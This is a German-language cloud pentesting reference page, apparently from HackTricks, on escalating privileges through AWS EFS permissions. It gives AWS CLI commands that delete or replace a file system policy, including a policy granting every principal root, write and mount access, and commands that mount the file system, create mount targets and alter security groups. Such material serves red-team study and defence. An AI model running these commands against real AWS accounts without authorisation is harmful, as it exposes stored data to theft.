AWS - EFS Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
EFS
Mehr Info über EFS in:
Beachte, dass du, um ein EFS zu mounten, in einem Subnetz sein musst, in dem das EFS erreichbar ist, und Zugriff darauf haben musst (security groups). Wenn dies der Fall ist, kannst du es standardmäßig immer mounten; ist es jedoch durch IAM policies geschützt, benötigst du die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.
elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy
Mit einer dieser Berechtigungen kann ein Angreifer die Dateisystemrichtlinie ändern, um dir Zugriff darauf zu gewähren, oder sie einfach löschen, sodass der Standardzugriff gewährt wird.
Um die Richtlinie zu löschen:
aws efs delete-file-system-policy \
--file-system-id <value>
Um es zu ändern:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Mit dieser Berechtigung kann ein Angreifer mount the EFS. Wenn die write permission nicht standardmäßig allen gewährt wird, die das EFS mounten können, hat er nur read access.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Die zusätzlichen Berechtigungen elasticfilesystem:ClientRootAccess und elasticfilesystem:ClientWrite können verwendet werden, um ins Dateisystem zu schreiben, nachdem es gemountet wurde, und um auf dieses Dateisystem als root zuzugreifen.
Mögliche Auswirkung: Indirekter privesc durch Auffinden sensibler Informationen im Dateisystem.
elasticfilesystem:CreateMountTarget
Wenn sich ein Angreifer in einem Subnetz befindet, in dem kein Mount-Target des EFS existiert, könnte er mit dieser Berechtigung einfach eines in seinem Subnetz erstellen:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Potential Impact: Indirekte privesc durch Auffinden sensibler Informationen im Dateisystem.
elasticfilesystem:ModifyMountTargetSecurityGroups
In einem Szenario, in dem ein Angreifer feststellt, dass die EFS ein Mount Target in seinem Subnetz hat, aber keine Sicherheitsgruppe den Datenverkehr zulässt, könnte er das einfach ändern, indem er die ausgewählten Sicherheitsgruppen modifiziert:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Mögliche Auswirkungen: Indirektes privesc durch Auffinden sensibler Informationen im Dateisystem.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud